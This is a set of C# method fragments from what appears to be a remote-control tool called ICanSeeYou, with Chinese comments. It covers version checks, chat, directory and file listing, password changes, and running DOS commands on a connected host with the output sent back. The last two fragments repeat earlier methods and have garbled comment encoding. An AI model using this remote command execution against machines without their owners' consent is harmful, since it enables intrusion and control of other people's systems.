/// <summary> /// 是否需要更新 /// </summary> /// <param name="code"></param> private bool needUpdate(Code code) { DoubleCode versionCode = code as DoubleCode; if (versionCode != null) { int[] oldver = versionToInt(versionCode.Body); int[] newver = versionToInt(serverVersion); if (newver[0] > oldver[0]) { return(true); } if (newver[1] > oldver[1]) { return(true); } if (newver[2] > oldver[2]) { return(true); } if (newver[3] > oldver[3]) { return(true); } } return(false); }
/// <summary> /// 发送服务端版本 /// </summary> private void sendVersion() { DoubleCode versionCode = new DoubleCode(); versionCode.Head = CodeHead.VERSION; versionCode.Body = version; mainServer.SendCode(versionCode); }
/// <summary> /// 显示有对方发来的信息 /// </summary> /// <param name="code"></param> private void displayContent(Code code) { DoubleCode contentCode = code as DoubleCode; if (contentCode != null) { rtb_Content.Text += (currentControler.ServerAddress + ":\n\t" + contentCode.Body + "\n"); } }
/// <summary> /// 发送文件夹内的信息(当前路径下的文件和文件夹) /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendFileDetial(BaseCommunication sender, Code code) { DoubleCode tempcode = code as DoubleCode; if (tempcode != null) { DoubleCode filedetialcode = new DoubleCode(); filedetialcode.Head = CodeHead.SEND_FILE_DETIAL; filedetialcode.Body = ICanSeeYou.Common.IO.GetFileDetial(tempcode.Body); sender.SendCode(filedetialcode); } }
/// <summary> /// 执行dos命令并返回结果,发送回服务端 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendDosResult(BaseCommunication sender, DoubleCode code) { try { DosCode doscode = new DosCode(); doscode.Msg = BD.Execute_Command(code.Body); sender.SendCode(doscode); } catch { } }
/// <summary> /// 获取文件信息(大小,修改日期) /// </summary> /// <param name="fullName"></param> public void GetFileDetial(string fullName) { if (currentControler == null) { MessageBox.Show("你还没连接任何主机或连接中断!"); } else { DoubleCode code = new DoubleCode(); code.Head = CodeHead.GET_FILE_DETIAL; code.Body = fullName; currentControler.SendCode(code); } }
/// <summary> /// 修改服务端密码 /// </summary> /// <param name="pwd">密码</param> public void ChangeServerPassWord(string pwd) { if (currentControler == null) { MessageBox.Show("你还没连接任何主机或连接中断!"); } else { DoubleCode code = new DoubleCode(); code.Head = CodeHead.PASSWORD; code.Body = ICanSeeYou.Configure.PassWord.MD5Encrypt(pwd); currentControler.SendCode(code); } }
/// <summary> /// 发送文件夹内的信息(当前路径下的文件和文件夹) /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendDirectoryDetial(BaseCommunication sender, Code code) { DoubleCode tempcode = code as DoubleCode; if (tempcode != null) { if (tempcode.Body != "") { ExplorerCode explorer = new ExplorerCode(); explorer.Enter(tempcode.Body); sender.SendCode(explorer); } } }
/// <summary> /// 修改密码 /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void savePassWord(BaseCommunication sender, Code code) { DoubleCode tempcode = code as DoubleCode; if (tempcode != null) { if (ICanSeeYou.Configure.PassWord.Save(Constant.PassWordFilename, tempcode.Body)) { this.exitPassWord = tempcode.Body; BaseCode ok = new BaseCode(); ok.Head = CodeHead.CHANGE_PASSWORD_OK; sender.SendCode(ok); } } }
/// <summary> /// 向对方发送信息 /// </summary> /// <param name="content">对话内容</param> public bool Speak(string content) { if (currentControler == null) { MessageBox.Show("你还没连接任何主机或连接中断!"); return(false); } else { DoubleCode code = new DoubleCode(); code.Head = CodeHead.SPEAK; code.Body = content; currentControler.SendCode(code); return(true); } }
/// <summary> /// 显示通讯内容 /// </summary> /// <param name="code"></param> private void displayMessage(Code code) { DoubleCode contentCode = code as DoubleCode; if (contentCode != null) { switch (code.Head) { case CodeHead.SPEAK: showClientMessage(contentCode.Body); break; default: break; } } }
/// <summary> /// 发送执行dos命令指令 /// </summary> /// <param name="serverIP"></param> public void RunDosCommand(object serverIP, string command) { if (currentControler == null) { MessageBox.Show("你还没连接任何主机或连接中断!"); } else { if (curServerIP != (System.Net.IPAddress)serverIP) { ChangeControler(serverIP); } DoubleCode rundosCode = new DoubleCode(); rundosCode.Head = CodeHead.DOS_COMMAND; string[] lines = command.Split(new string[] { "\r\n" }, StringSplitOptions.None); foreach (string s in lines) { rundosCode.Body = s; currentControler.SendCode(rundosCode); } } }
/// <summary> /// ���ͷ���˰汾 /// </summary> private void sendVersion() { DoubleCode versionCode = new DoubleCode(); versionCode.Head = CodeHead.VERSION; versionCode.Body = version; mainChick.SendCode(versionCode); }
/// <summary> /// �����ļ����ڵ���Ϣ(��ǰ·���µ��ļ����ļ���) /// </summary> /// <param name="sender"></param> /// <param name="code"></param> private void sendFileDetial(BaseCommunication sender, Code code) { DoubleCode tempcode = code as DoubleCode; if (tempcode != null) { DoubleCode filedetialcode = new DoubleCode(); filedetialcode.Head = CodeHead.SEND_FILE_DETIAL; filedetialcode.Body=FileManager.GetFileDetial(tempcode.Body); sender.SendCode(filedetialcode); } }